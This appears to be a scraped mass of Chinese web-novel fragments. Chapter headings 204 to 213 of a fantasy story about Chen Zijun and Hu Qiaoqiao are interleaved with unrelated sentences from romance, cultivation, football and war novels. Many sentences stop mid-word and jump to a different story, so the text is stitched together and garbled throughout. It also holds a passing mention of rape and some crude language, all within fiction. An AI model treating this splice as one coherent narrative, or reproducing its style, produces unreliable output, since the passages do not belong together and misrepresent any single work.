仿佛是预见了乌克兰最后时刻的绝命反扑,贝克汉姆立即用罗德维尔换下了表现不错的鲁尼,沃尔科特被推到了锋线上,中场则是4名中路球员的组合,罗德维尔回撤打后腰,发挥他出色的防守能力。 这就是声望的这门主炮,要知道之前她强化出专门主炮的时候,把罗德尼和纳尔逊两个重度火力控都晒瞎了过去。 “母老虎,你敢伤害我老妈,我咬死你得啦。”葡萄围着转圈圈,外加威胁。 如此的情况,那冰霜巨龙又如何可能再继续飞行了,就像刚刚的爱莲一样,在重力的作用之下,那冰霜巨龙直坠而下,然而,它并没有像爱莲那样反冲上来。 埃辛本场比赛状态也很不错,频频前插,这一次他找了一个机会,塞给梅西。 钱多多自然也知道这个,一开始拿出来,就是热热场子的,谁知道居然没人应,差点就要冷场了。 “我只是做应该做的事情,与别人何干,如果你看不下去,你可以装作不知道!”裴宗澈拿着新的剧本说道。 “没事……只是一晚上而已,现在天气还算好,没什么。”陆凝冲尹莲笑笑,双手抱着膝盖缩在了椅子上。没过多久,她忽然感觉身上一暖,是尹莲将身上的西装盖在她身上了。_ 第204章 四灵之碑 “是么?”人群中,一个柔媚的声音传了出来,“是哪几位朋友?让玉柔先见一见。”簇拥着的人群分开,一道身影莲步款款,弱柳扶风般地走出来了,那是个很漂亮的女修,一身粉紫色衣裙,吹弹可破的鹅蛋脸上眉似翠羽,鼻若琼瑶。虽说眼睛不算太大,但胜在眼波如水般灵动。嘴唇略薄了几分,然而红润娇嫩地面上被叶寻欢给劈成两半的燕景林已经被人给重新组在了一起,就那么静静的躺在地面上。男人果然不该过于沉溺美色,失了分寸,良贵人……就继续冷着吧!再过些年,人老珠黄,便是天仙儿也美不起来了。一过经年,聚在一起的时候越来越少,好不容易趁着大军班师回朝的契机,将几个常年在外的人盼回了京中,众人嘴上虽不说,心里都是高兴的。这一次原主却前所未有的坚定,再不肯答应阮心兰的要求。她已经给阮心兰背了六年锅,更是遭遇了强/暴这样可怕的事情,再不愿意承受这些不该属于她的苦难。阮心兰失望之下破口大骂原主太自私,没有为她考虑。其实就算李致远,如果不是有勇之圣道和教化之力,也远不是它们对手,更不能将它们收服。离开了大雷音寺,白鲲就朝着东胜神州的方向瞬移了过去,他要赶紧赶回到驻地之内,他要赶紧达到九道圆满的境地,这样他才能继续进行下一步。在这个村子里面,杨家虽然已经算是生活条件非常不错了,可是比起唐冰玉和周泽楷两个城市来的的孩子来说,那是完全比不了的,父亲要下地,母亲也是很忙碌,杨芳芳很早的时候便懂事了。锁链,周遭的迷宫墙壁都被这些液体腐蚀掉了,也顿时让虬龙真君退离了那片区域。如今,他正是庆幸无比……幸而他及时打消念头,否则,后果当真不堪设想。房间里渐渐安静下来,孟斐然停下动作,神色复杂地望着病床上的青年,心底某个念头越发明确。但让他迷惑的是,宋雨佳一行到美国的信息,仍然是从何玉贵的qq传过来的,而何玉贵早已被双规了。“如果你能接住这一次攻击,我会放你离开。”燕飞面色平静,嘴角微微翘起,然后不待堕落天使回答,伸出手作拈花状。韩青强做高兴地说:“这就好了,这就好了,许多事儿,有她就好办多了。”嘴上虽然这样说着,可心里却暗暗叫苦。看似随意的动作却让这位六级剑师如遭重锤撞击一般飞了出去,潇洒的空中狂喷出几口鲜血之后,很干脆的双眼一翻,再次晕倒在地,而那把双手剑却在空中断裂成几截,散落在燕飞脚下。老鬼惊恐地转过身体,白和黑子有说有笑地走了过来。老鬼好像大声喊叫出来,这一瞬间,他似乎能感受到牧牧那神神叨叨的样子的原因。“这位长老,且不说我们根本就沒有办法帮助你进入神秘空间,就算是有,此时恐怕也已经晚了!”,宋离苦笑一声,其他三位领队都极为默契的保持了沉默,但他作为圣魂的领队对于司徒南的死自然是责无旁贷。“呃……一开始的时候因为没有兑换点,只能买把军刀先用着。”米多有些汗颜“后来用习惯了就渐渐忘了……”忘了么?是真的忘了么?你敢说不是因为太贵所以不舍得买么? 第205章 见到故人 陈子均和荀丘生互视一眼,都皱了皱眉。“这里怎么会有村子?”荀丘生开口,哈出的白气瞬间消散在风雪中,“以前从没听人说过啊。”陈子均目光一闪,“还是人类的村庄。”他很肯定,这第二层应该不会有人类存在才对,怎地会冒出一个村庄来?这村子似乎不大,看着才七八座房子,每座上都落满“你确定你看到的人是郝星雨?”刘法医皱了皱眉头,继续追问道。叶浅的视线从萧霖瑄的身上划过,淡淡的,听见陆白的声音,看向他,露出笑容,落落大方的做自我介绍。那时,洛清心早已不在韩彻的身边,我想,夏婉婉的机会来了。如果她能心愿已偿地嫁给韩彻,那么我的这段苦不堪言的恋应当也能画一个逗比的句号。这样的绝色,由林立亲自接上董事长办公室,很难不令人有一种未来老板娘来视察的感觉。再说成功进到大粮基地的这一队人,韩昔从来都是慢悠悠的,抱着笑笑像是逛街似的参观着基地里的景象。一睁眼就看到趴在他身边睡着了的章珊珊不由得惊了一大跳,人就惯性的往后退了一下,而章珊珊就这样被弄醒了,随后慢慢的张开了眼睛。之所以生擒,正是因为奎山身上的金系异能,有如刀枪不入的神功,云硝只能以柔克刚将人绑起来,一脚踹倒跪在韩彻面前。苏林语看着潭城的冰块脸,皱了皱鼻子表达自己的不满,嘴上却什么都没说。“现场的很多线索和痕迹,刑警队的技术组应该都已经提取完毕带走了。你们来找的话,应该是找不到什么有遗漏的地方。”白亮有些惋惜地说道。余队婉拒了她,瞧她依旧将自己三人拦在门外,莫非是屋内有什么见不得光的东西?回去的路上,林谷雨依旧晕车,不过瞧着身后那么多的粮食,嘴角忍不住的勾起来,他们现在有的吃的就算是不错了。“也好,那还请飞燕姐姐回去的途中要当心!”慕容烟雨见状便不再挽留。山太医在看到林谷雨的时候,一把抓着山晓琳的胳膊,朝着林谷雨走去。玄煜喉咙滚了滚,又长长的深呼吸了一口气,那双润湿的漆眸里漾开很温柔很好看的笑,淡淡的气息落在她俏红的鼻尖上。“一个丫头就够了,还弄两个,你还真当你们家是土财主,回头给我送一个过去。”周氏耷拉着眼皮,怏怏不乐的开口说道。“栾辉长老,五日前,枫少爷前往狩猎堂,不知为何,狩猎堂的阵法结界突然开启,到现在狩猎堂依然还在封闭,枫少爷困在其中,里面联系中断,现在情况不明!”平长老心内忐忑说道。正当在场的所有人都是在看着李风的时候,突然,树木折断的声音却是直接响了起来。“是因为徐良准备用他自己的命来求我们帮忙?”池航眉头轻拧着,漆黑的眸子写满了惆怅。那三位汉子则坐在了左边的一侧,右手边的主宾位没人去坐,就那么空着。“你说呢?就是这个!”陈鸣不爽的把手里面照片放在王晨面前。而李天一与胡子,由于是第一批公测者,比内测者要晚了好几天,所以对于部落初成时的状况也很好奇,所以对于也是王乐的说的,他俩听的也是津津有味。 第206章 玄武之蛋 众人起初不明白他在做什么,都有些不安。 这画面太诡异了。 可是渐渐地,他们的脑海中忽然浮现出了一个恐怖之极的念头—那坑洞里的骨头是谁骨头?以他们的见识,自然能分辨出那是人骨,难道说,是他口中喊的那什么师兄? 可他的师兄的死,难道和他有关?再联系到苟无心最开始做的那啃啮的动作,众人更 “有话就说,你我之间还介意什么。”战天见金老有些不好意思。 雷火跳跃,发丝般的电芒向穆白飞来,想黏着在他的肉体上,结果都被身后神环所化的结界弹飞。 “回远东,接他们,准备武道大会。”花极天道。距离武道大会,只有不到二十天了,确实需要准备一下了。 “王浩,这里没你事,滚回去吃你的青草去!”李嫣嫣猛地掐了我一下,就喝令道。 他的语气是轻松的,但我心里清楚,他八九知道我问什么了,心尖一颤,彻底把妖娆本色发挥到底。 “终于轻松了,占哥,咱们是不是要着手基地的事情了?”晚间众人在客厅中李可问道。 “原来是他。”许多人眼中都流露出奇异光华,像是发现新大陆一般。 令我没想到的是他的车里还坐着霍继都,宋氲扬,白原澈,他们三高大的男人从车子里出来,我脚却在地面上停滞不前。 距离举行奠基典礼不远的地方,有一片区域,就是第一批施工的重点区域,他们都称为施工中心。 老人的悠闲、恬然,根本便没有半点即将化圣的模样,有了说他即将褪去俗身,变成一尊新圣,倒不如说他彻底化凡,返璞归真。 “其实,姐真的没有男人疼,好想当时跟丽美人同时认识你。”这分钟伍萧萧才是真实的她,跟水一样的柔弱,看的让人心痛。 “他说那个时候是真的想看看那个孩子到底是不是他的所以留在美国了,而现在确定是他的孩子,他宁愿不要孩子也不要跟我离婚。”黎洛洛继续说道。 “我想,因为你怀了他的孩子所以你才拒绝我,因为你爱孩子,你不可能打掉她。我想,如果你的孩子掉了,你是不是会回心转意……”枫霖痛苦的说,话语中带着难以掩盖的自责。 本来被气得通红的眼睛,在看着渊祭和那男人牵在一起的手时,瞬间就泛起了笑意,有些事情他好像明白一些了!!如果说那洛离不是皇室血脉,那么这个银发的男人可能就是了!!不然也不会有那种高贵的气质。 但他仍然没有解释纳兰玦的事情。他很明白,落雪并没有针对这件事怀疑什么,他们之间,不会有这样的怀疑。落雪只是需要宣泄,需要冷静。现在折腾这一番,足够了。他却怕自己冷静不下来。 “人最愚蠢的不是没有发现眼前的陷阱,而是第二次又掉进去!”黎温焱眼眸微眯,巨大的怒气在眼眸里聚集,如一股旋风。 缓缓从剑鞘中将长剑抽出,冬雪面冷如霜,不带一丝情感,看着肖鹏,如同在看一堆死猪肉一般。 “清风先生是觉得我刚刚的话很好笑吗?”朝夕若板着面容,老气横秋地说着。 “看来刚刚根本就是不因为玩累了,而就是发烧了。”龙五在一旁说道。 听川息公子如此说,众人沒有别的办法,只得照其所说,洒上烈酒之后,在扔上火折子,瞬间的功夫,就将宅子应得红彤彤的。_ 第207章 异魔部落 明明那个男人是懒得跟他们计较,到了崔凛的眼里,到变成了那个男人不敢杀他。 一番话说的滴水不漏,表面是对着男人恭维,实际上是求男人放过她一次。 柯家,因为离开龙华城,就已经引来了各种纷乱,想要跟以前那样,是不可能的。 如果张晗彦所料不错,韩珂应该是要把与自己相关的消息添油加醋,让媒体报导出来。 “少多想了,我不过是在履行未婚夫的职责而已。”凤安彦专注的开着车,回答。 虽然知道这不是个好兆头,但是唐飞还是蛮期望自己老妈还在世,可惜,事实如此,跟着姐姐的脚步,没有犹豫的往前走,可是在这边看下,不对,不是唐凌菲的墓。 玲珑不在的时候,她就在空间里研究从老宅里收来的东西,这些日子到有了很多的收获。 叶婉若反而不好意思的挠挠了头,自己本是无心插柳之举,却没想到误得夏渊的赏识。更何况,叶婉若还是借鉴了古人的诗词,在现代也算是作弊了,自然对盛权觉得有些抱歉。 她说的这个道理余有台又何尝不懂,只他不过是不愿意向那处去想而已。 像是为了证明她没有说谎似的,蓝瑾伊一说完肚子就真的应景地叫了一声。 那不是时光的停滞,可是心跳却是在那一刻减缓了,仿佛已经脱离了这个世界一般。 在座椅的下方放着两个黑色的木箱,木箱长两尺,高宽皆有一尺多,上面有铜扣把手。 将巫族修士轰进客栈之中后,人族大汉并没有作丝毫停留,立刻跑路。 一支蓝色如海的玉笛,一张夜莺般空灵婉转的嗓子,在黑夜里面唱出,吹出一幕幕的悲喜和释然,悲凉和欣悦,那就已经足够,剩下的就都随着晚风散去,散到月亮的背后吧。 信天濒死之际,气息突然由弱转强,继而上演惊天反转,起因就是那一丝强者气息,冰雪神王也是及时感应到了。 “放他们回去,先不说我们总兵不会轻饶我等!就连崔珏都不会善罢甘休;更何况,你这个蝼蚁,有何资格阻拦我等?”说完,这牛头举起大斧向我劈来。 “好了,不跟你说了;我好困,我要睡了!”说着,蔚池雪就随便走向一个屋子。 “给你按摩呀”陈旭说话的时候,手里的动作已经开始了,捏、掐、按,一套动作缓缓的展开了。 除非生成了神魂之力,才能在对方察觉不到的情况下探查其识海。 “是是是。”邱明山连连点头,刚才还是威风凛凛的,现在的态度已经有了很大的改变。 “好好好,我刚刚吃的东西已经开给你看了呀,没有再点新的,一直都是喝的果汁。 稻田芳子忽然上前,一把将宋秋月扛在了肩膀上,腾空而起,几个起纵之间,就消失在人们的视线之中。 无量帝君看了一眼那地下的焦黑,又看了一眼龙辰,他清晰的感受到了龙辰四周那一股股混乱的气息。 这个道理很简单,不要光看贼吃肉,不看贼挨打。捡漏是人家的本事,古玩这行,赚的就是眼力钱。而且,光看一次捡漏怎么能行?前头打眼吃药、上当吃亏的钱怎么算?这都是提高眼力的基础。 她抬头去看厉天涧,却发现他不知道为什么愣住了,连给自己垫着的手都没有收回去。 农历二月二,是鬼眼门传人碰头会商的大日子。一方面他们要讨论的事情急不得,所以没有电联后立即相聚,另一方面,其实也是图个“龙抬头”的彩头。 这屋子四四方方,就一张床,还是破的,墙上除了门,还有一扇木头窗子,看着也摇摇欲坠的样子。 而朱磦印泥,和纯朱砂印泥恰恰相反,是取用漂制时上层的朱砂细末,而后和艾丝、植物油调制而成。 车门打开,上面的红衣司机目光似乎诧异了一下,看了叶双鹰几秒钟又转过头直视前方。 三人一起看向北地远方。而在他们的身后,也有一双眼睛目不转睛的盯着他们。 倘若真的确定这个刘大黑是中国特工,那么富山井也下手肯定不会手软,事后只要把刘大黑是中国特工的证据通过领事馆往南京政府跟前一摆,南京政府不但不敢追究,而且还要向大日本帝国正式道歉。 看看时间,进去很久了。方楚楚喝了口柠檬水,赶紧去洗手间看看。 这句话,吴疆是突然想到的,到时别真因为这次化学考试影响了董肖的三好学生,这是提醒吴老师,也确实把吴老师忽悠了。 光是王玄感知到的,隐藏在暗处的化海境高手就不下数十个,元初境高手也有数名,大云帝国的底蕴,由此可见一斑。 这个傻逼,这时候跳出来逞什么能?没看到连吕少这种家庭背景的都得对龙哥毕恭毕敬吗? “是吗?”露娜伸手捡起落在废墟上几乎已经被泥沙砖瓦完全掩盖住的两截断剑,仔细的端详起来。 那孤狼朝着花木兰扑击两次,都被她轻巧的闪过。眼看着孤狼正要向后一拱 ,花木兰大喝一声将左手短剑飞出,在空中飞旋不止,正插入孤狼的后臀。 齐进走过来,脸上怒容很明显,齐家平时对他们都不薄,竟然做出这种狠毒的事情。 “你放心,只要你一直跟在我的身后,我就能够保证你的安全,唉话说那是什么东西?”鬼将指了指东晓轩的身后。 第208章 诱人食物 再往前走,就是底层异魔们的聚居营地了。 看到那聚居营地的第一眼,胡翘翘就目瞪口呆了。 她方才还觉得见到的异魔房屋们太粗陋,但不怕不识货,就怕货比货。那些房屋若是放在这里,每一栋都精致又干净得像宫殿一般! 如果说那些高层异魔们最好的房屋,也就相当于白崖村里的普通房子,那这些底层异魔们 已略显老旧的客厅早收拾的焕然一新,不知道用了多少年的沙发也蒙上了崭新的座套,地板擦拭的纤尘不染,窗台上也摆就几盆新买的盆栽,让整个环境多了几分生气。 秦欢心酸,她忽然侧过头去,一把抱住殷乔,殷乔也是一愣,随即眼红的回抱住秦欢。 童若现在,正是最脆弱的时候,一点反抗能力都没有,就算他保护得再好,冷拓森要是真想也能伤害到童若。 七百五十六万天州子民已全部到场,其中八万神、仙州臣得以驻守于方圆六十万坪的异元广场中。 童若心一颤,连带着身子也跟着颤了一下,双眼还泛着迷蒙的雾气,看着冷少辰。 “有意思……”雷雨看着自己的攻击无效便不再继续攻击,让远处的白剑无比的得意。 是自己的心不平静了,所以连最基本的理智和思考都没法儿维持了吗? 随后跟上的荔儿,也早就忘了刚才和桑离的意见分歧,主仆两人在宫人们的引路下,顺着迂回精致的亭廊,朝着交泰殿翩然而去。 数道破风声从帐前疾射而来,仿佛箭雨一般,只是皆被严严实实的盾墙拦了下来,发出声声清脆的声响。 失忆之后,单纯的药物治疗并没有显著效果,一般情况都需要患者慢慢恢复。在特殊情况下,比如说重大的精神打击,也能让失忆的人找回以前的记忆。 “好,那我们现在就去。”说这话的李月琴激动得脸色微微有些红。 上岩城的城主宁清远在这确实已经等了很久,他们一过来,听完他们的自我介绍,宁清远目光多在齐月身上停留了一会。 情绪稳定的陆巍在楚艺涵眼里是优点, 但是,情绪稳定的韩驰在楚艺涵眼里就是缺点。 当然,这其中有没有他残存的党羽的推波助澜,那就不得而知了。 只是为了以防万一,三人都不约而同地在下水前撑起了灵力罩,并各自手里都捏了一颗天雷子。 传说古时候有位名叫忒修斯的神,他与雅典的年轻人们,从克里特岛归还时所搭的30桨船,被雅典人留下来做为纪念碑。 诺澜见云枫起身将鲑鱼籽送到自己嘴边,她想拒绝,可是她又看到云枫那闪闪放光、殷殷期盼的眼睛,话到嘴边却说不出口。 因为就连现在新洛杉矶和那艘总部飞船的能源系统,也都脱胎于亚特兰蒂斯的能源技术。 院内有不少都是来参加婚宴的客人,见状都大为震撼,低低议论起来。 至于他那两个儿子,就更不用说了,每天斗鸡走狗,孝心半分没有看见,倒是纨绔子弟的习俗让他们学了个十成十,眼看着人已经养废了,他这个当父亲的却是一点办法也没有。 “明天早上陪爷爷吃一顿饭,下午陪岳父岳母吃顿饭。”傅西说。 梁不凡一开始还有点忐忑,毕竟星浩娱乐也不是阿猫阿狗,在娱乐圈还是有点能量的。尤其是星浩娱乐后面的一位股东,对方想要弄他并不是很难。 第209章 抓捕奸细 聚居区很快归于平静。 谁也没注意到,方才那对母子的身影悄然地从人群中消失了。 那三个男子见四周没有异样,也慢慢闭上了眼,如今众人都是凡人之躯,会感到疲累、需要休憩在所难免。 就在他们即将坠入梦乡之际,忽然狂乱的蹄声阵阵传来,与此同时,有个粗豪的嗓门冷不丁地响了起来。 “统统滚 张泽栋的脸色也有些难看,但是这毕竟是局长的命令,他不能不听。 众人脸色一变,看到数十个修士飞空而来,都穿着绮丽帝国衣物。 段浪跟三皇子相互谦让着走到了国王安天语的身前,随后一同跪拜了下来,旁边簇拥过来的安邦媛和四皇子见父皇点头是一后便把二人都扶了起来。 罗逆突然停在一颗大树下,微微张开口,发出常人无法捕捉的音波,正是很久没有动用的神魔音。 苏墨想要闭上眼睛,他心中清楚,这一切都是幻象,都是幻境制造出来的,可是,为什么感觉是那么的熟悉,那么的真切? 不只是鲸族,就连鲨族和鱼人族这边也一样,一些实力稍弱的鲨族和鱼人族甚至低下了高傲的头颅,竭诚的面对远方的叶天弃,就好似在瞻仰自己的神灵一般。 任谁都不会想到,这话竟会出自北冥雪之口,连她自己都不知道为什么会说出这番话。 疯狂宣泄的力量,一下子震惊了这些龙族的人,他们的力量,继续蔓延,覆盖了八部域其他的地方。 此时段程峰的修为只有金丹境第一层的巅峰,虽然段浪只是在第一层的初期,但是以段浪的实力,碾压一个普通的金丹境修仙者实在是太容易了,因为段程峰无论是修炼的功法还是斗技都远远的比不过他。 “哼……”苏墨冷哼一声,自己等人一上岛,遇到的不就是这牛魔族对河童进行屠戮吗? 林腾飞的腹肌只有六块,程佳佳没有摸过,她摸的都是肱二头肌,她从来没试过腹肌的手感,但刚刚看着阿翼的八块腹肌,她突然就想上手试试是个什么感觉。 现在楚烨所吸收的这股来自精灵圣水潭的力量与他之前所吸收的那些力量完全不同,这股力量十分的温和,对楚烨的身体没有任何的伤害,有的,只有舒适,说不清楚的舒适,而在这股舒适之中,楚烨等四人逐渐昏睡了过去。 路人摇摇头,摆出一副一问三不知的模样来,让安然看了就心焦。 “这天象,难道是天地共鸣。”尤思颖神情怔怔的望着天空的异变,有些不知所措。而秦枫亦同样默然,这情形与他当初,向秦烈血誓为仆之时,是一般无二。 他不过才外放境前期的实力罢了,根本无法抵挡住楚烨的冰封,虽然以他的境界可以保证自己在冰封之中不死,但是那寒冰之意不断的伤害着他的身体,给他造成了很大的伤害。 而奸细既然是冲着两国军事而来,那他当然更有理由以削减大殷战将实力作为目标,而非私仇。 他揪着胸口的衣衫,忍着心脏的剧痛,目光再次落在满面血污的少年身上:“她死了,连魂魄也散了?”问出这短短的几个字,仿佛用尽了他所有的气力。 此时还是晚上,这海边聚集地里,没什么人在外面走动,大家都待在房子里准备休息了。 第210章 计划失败 方才那几名高层异魔押着“奸细”们走开之后,这里又恢复了死气沉沉的平静,该昏睡的昏睡,该发呆的发呆,该吃东西的吃东西……这时,胡翘翘突然愣了一下,说:“相公,万一让他们先进了祭坛,对我们进三层会有影响吗?”陈子均沉吟了下,皱眉道:“无论他们是成功还是失败,必然都会引起内层异魔们的警觉,忽然就觉得有些可怖,原来爱到了极致,也会变相成如此痛苦扭曲的感情。无数的电芒与火光,忽然从祭坛周围炸开。与雷霆翼蛟身周的电光相合,霎时席卷数百余丈。使周围这一片地域,全数为雷光火炎笼罩。她如今已是全然理解了秦烈那时的心态,他不与自己争辩,完全是出于那股强者傲气。根本不屑争辩,也不想不愿去证明什么。自我行我素,怎会在意他人眼光?“你还来做什么。”他冷冷道,声音仿佛刚融化了的天山雪水,不复以往的温凉。“……我的情况呢,差不多就是这样了,以后公司的事情还是交给劳拉来帮我处理,有重要的决策我才会插手。”张太白微笑道。不过可惜,它扑了个空,三次攻击结束,哥菲特率先消失了,回到了它原本沉睡的神秘空间。“可以。”林枫答道,在二十一世纪,也是有网吧存在的,那里有通用头盔,可以自动识别dnA信息登陆游戏。而且直接杜绝了盗号的风险。他冲着我摁了几下喇叭,但是我并没有停下来,我心乱如麻,不想此时再因为感情的事情有任何的纠葛,一心只想赶紧赶往s市去。谁想到,他开着车追了我一路,眼看着马上就要进入高速的入口,我于是停在了路边。“你俩和好吧。”不管我原不原谅江辞云,我都不希望商临和他再斗下去。随着体内经脉里灵力的所过,因为灵力太过的声势浩大,所以在跟经脉摩擦之间,竟然隐隐的有着轰鸣之声作响,随后就是在林凡凝视的双眼之中,轰然和经脉处碰撞到了一起。“很简单,从此以后,无论什么事。你必须听我的……”美杜莎妩媚的一笑,一脸纯真和善良。出了邻居家门,他们正好看到一家正在造屋的人家,就出了个比平常高很多倍的价钱,向那家人买了一大包的几十斤干燥石灰粉。清歌松了一口气,要是莫离真的答应了,她才是真的要头痛了。只是低头看着离儿噙着泪水的双眼,又觉得有些不忍心,将他抱起,替他擦了擦眼角的泪花,叹了口气,也不知道要怎么去安慰他。众人的心里想着这些,在看向林凡的目光之中带着一丝怜悯,有不少平日里颇受火爆佣兵团的威压之下的佣兵更是朝林凡打着眼色,想要让林凡赶紧离开这个地方。王天想了一下,觉得郭采说得没有错,自己这实在是想得太多了,不过就是坐得离远一点而且还是偶尔才出现的,这没有什么奇怪的,当下就没有再多想,低头继续吃早餐。秦飞大喝一声。心神掌握了剑符朝着半空中的黑煞白煞一起飞舞冲刺了上去。凌爸爸开心的握紧儿子的手,宇浩拍了一下爸爸的肩膀,告诉爸爸自己很好,随后,凌市长有些疑‘惑’的走到雨希的面前,左看右看,细细打量,最后很坚定的点头。 第211章 偷听密谋 点人的异魔顿时吓了一跳,“昨日那几个奸细又回来了?”骑长甩了下鞭子,冷冷道:“不,除了他们,可能还有其他的外界奸细混了进来!”他瞥了前者一眼,见前者一脸震惊,开口解释道:“方才我们在巡逻,发现一个陌生面孔突然出现在内层,便上前盘问,对方言语闪烁,形迹可疑,很快露出马脚,立即逃窜,我们我随手摸了摸裤兜,可是裤兜里面什么都没有,比我的脸还干净。我不知道别的男人怎样,反正我是特别敏感,尤其一打着转接触,和嫂子通着电话差点叫出声来。“郡主……”楼兰玟没有想到莫九卿会忽然出现,听到莫九卿跟她说话,心中一动。“反正以后想放开也觉得不让你称心如意。”莫九卿靠在君琰宸怀中,闷闷的说道。鹰兽和狼兽又是交换了一下眼神。然后它们依旧是选择不说话了。其实它们也是不相信夏流能够解决它们的问题的。当然,关键是它们已经对那个家伙产生了畏惧的心理。有了这个,一切都免谈了。“这事……咱们连天下共主黄帝的墓都给刨了,人家挖了扶苏墓,关咱什么事,你干嘛要盯着常赫不放?”田鸡问。“啐!整天就知道想那些不健康的东西。哼!不理你了。”夏雪直接将粉脸转向了别的方向。表示不高兴。李殊慈疲倦惺忪的缩在锦被之中,心中不禁泛起一些窘迫的情绪来,儒王,堂堂金尊玉贵的一个王爷,居然能那么自然的说出这样的话:你院子的梅花开的不错,不过碍于我时常从此出入,你需得将靠墙的花枝修剪修剪。那一瞬间,苏晴就像是一个因为破产而准备跳楼的商人突然得知自己中了彩票大奖一样,那种开心的感觉简直无法形容。之后,一连串的枪声接连响起,不断有土匪一声惨叫,倒在了地上,已然彻底死去。所有事情都处理完毕之后叶含笑他们就继续开始抓白狐,不过在知道方法之后就容易的多了,所以只用了一个下午就将白狐给抓到了。“轰”一声巨响,当先两人直接被一团巨大的火团笼罩在内,能够清晰的看着在火团之内被燃烧的两人,洛阳脚步退后,持剑护在胸前。虽然还没进入宫殿,但是十三灵殿却是能够清楚的感觉得到在这宫殿之中散发而出的那剧烈的火毒气息。“这也是没办法的事情,太古圣地可不同于咱们那个世界,在这里需要步步为营,有一条粗壮的大腿,我自然是要用力的抱紧它才行了。”许风笑侃道,引得东方凌等人也是一阵大笑了起来。随着喊声,大家都注意到了丁三阳的怪异,一个个从原先的气势汹汹追来,变成了慌慌张张的奔逃。金秋季节,不如春日百花齐放般娇艳夺目,却更有一种丰盈而充足的灿烂。北辰疏影与曹真正在想着如何安全将那一整套宝器带回南疆洲之时,便感应到蔺无双与卓诗妍的到来,不约而同地转头打着招呼。李晓彤在齐政和在的场所,好像连话都不想说的样子,不过目光投来赞许之意。一股磅礴的灵力冲击袭向了刚刚跃身躲避还飞在半空中的毒仙老鬼,强大的冲击力,让老毒物全身都是一震,浑身的骨头如同碎了一般,酸麻无力,然后是浑身的剧痛,身子更是十分难堪的空中翻滚起来,异常的狼狈。 第212章 玄武神通 陈子均与胡翘翘立即明白了他们几人的打算。  看样子,他们是计划在盛典中制造一场大混乱,然后趁乱接近部落的酋长,以蛊虫控制对方,从而顺利进入祭坛。  胡翘翘有些好奇,想听清他们的具体计划,但那几人似乎觉得在这野莓丛边聊天不便,没说两句,便走到了其他地方。  距离有些远,胡翘翘已经尽可能的竖  马克在穿衣时收到尼克的短讯:”我们和汤姆去喝酒,你们自己找乐子。”看到这消息,马克心情大好,把手机交给布莱克。  罗凡接下来的话,更是让在场的宗门长老震惊得目瞪口呆:“就一个真道三重,叫什么黑瞳老人,带着一个武道五重的徒弟,然后程家的武者都被炼成了魂奴。  哈维一行人脸色变得严肃,观赏的同时需要检测实际投影会不会有问题。  希斯心情苦闷的离开j普森的家,因为喝了酒,他请了代驾将他载回家,这是吸取j普森的教训,马克因为醉驾,直接开除了保镖队长斯坦利。  此时,暗影雕正驮着夏洛特进行超低空飞行。夏洛特双目紧闭,仍处于昏迷状态,浑身上下被赫敏包扎成木乃伊一样。校长室的大门刚刚关闭,白巫师的手就不受控制的抖了起来,手里的蟑螂堆全都掉在了地上。  在电影中从来没有影像或图片说明他们那晚有多疯,只是一些人的反应,事后证据,都显示他们有多疯,而这最后数码相机由的一张张图片,说明了他们到底有多疯。  不管从任何角度来说,双方都没有违反比赛规定,只是球迷大概不会满意,他们是来看精彩比赛的,而不是来看两支球队对耗时间的。  雪莉是比哈维更出色的老师,尼雅是比雪莉更优秀的学生,迪姬尼漫画工作室提供了优良的环境,于是这一个月下来,雪莉作画技术进步神速,每时每刻都在吸收雪莉身上所拥有的知识与能力。  “你们这是怎么了?”看着瓦斯弹和鬼斯一副称兄道弟的模样,重新回到卧室的龙崎真二一脸疑惑地问道。  银杏猩红着眸子,明明她伤了徐林,可一点儿喜悦的心情都没有,为什么,为什么偏偏是这个男人对元锦玉下了手?  说着,他深吸一口气,抬手在那大裤衩里摸阿摸的,然后就掏出一块金牌。之后的几日,慕泽发现,基本上自己在府中的时候,卫楚秀都不会出现在他们面前,而问过府中的侍卫,说若是白天卫楚秀也在,和元锦玉总是有说不完的话。  也永远不会知道苏君炎在那个神秘莫测的世界尽头到底看到了什么样的景象。  有一种东西渗入你的骨髓,而这种东西看不到摸不见,可是你只要站在那里,就能感受得到,那是生命相属的味道。  就在这个时候,一声马嘶,一匹浑身漆黑的魔马飞纵而来,马上一位魁梧的骑士,一袭黑红中带金的长袍,白色的披风在大雪里随着四散的雪花一起飞舞。  云南的黔国公沐天波本来拥立唐王朱聿键,还联络了西南不少土司支持。但谁知,沙定洲根本就是一个狼子野心的犲狼。  “那些汉人就算能偷窃我们荷兰人的造船技术,可他们这短短几年时间,却绝偷不来先进的海上作战能力,空有船有什么用,一样会被我们全都炸沉到海底去!”荷兰人嚣张的举杯。 第213章 进入四层 大约走了小半个时辰,两人终于来到了通道的尽头。一团淡黄色的物事悬浮在空中,正是息壤。胡翘翘好奇地打量着息壤。她听陈子均提及过息壤,也在志怪类的话本子中见过息壤的名字。上古时期,魔神共工撞破一座名为不周山的神山,导致洪水泛滥,女娲负责炼制五色神石补天,而伏羲则是拿出息壤莫非,魅影魔尊所寻找的东西,与段飞逸他们寻找的东西是同一样?这天虽然刮着西北风,吹得人脸生疼,可还是挡不住永宁的热情,一路上叽叽呱呱的跟卢夫人打着商量,想要建一座合她心意的温泉山庄。那些摇晃手中帽子的人当然是阿姆施泰滕的居民,他们从来没有看过这么多的飞机,因此感到非常兴奋。黎君深深地看了她一眼,“……白姑娘有客人,我先走了。”朝姚谨点点头,黎君越过她朝外走去。谁知何总管居然没敢立刻起来,反而是抬头看了永宁一眼,然后趴伏在那里不敢动弹。日本已经向轴心国承诺,除了分担必要的苏维埃加盟共和国压力之外,在海军取得太平洋优势的情况下将派遣“必要”的舰队参与欧洲盟友的海上军事行动,而轴心国则是必需向日本开放军工产业的相关图纸。至9月5日,也就是英法对德宣战的宣战日。统帅部命令徐阳和古德里安的军队向第波军‘波莫瑞’集团军的3个步兵师和1个装甲摩托化旅发动总攻,几千辆坦克里的驾驶员发出怒吼,突击前进。马姨娘当天发烧在床上一躺便不醒,过了三天才醒过来,一醒过来便被王氏指派去跟右御史府解除婚约的事,马姨娘气的抽抽,不过她却恶从胆边生想出更加狠毒的一计。八月的凉风吹起落地窗垂落下的白色窗帘,魅般的夜崭露片刻头角便又被退回的窗帘遮住,可瞬间带出的李俊秀的样子却让许愿又一次的惊愣。卢夫人却是看不过永宁这副样子,怎么看怎么像是上门来幸灾乐祸的,又因着屋里并没有外人,所以她免不了如旧日永宁未嫁时那般,点着永宁的额头又是说教了一番。体内那种微弱但堂皇正大的力量消失无踪,识海混沌,非常安静,夫妖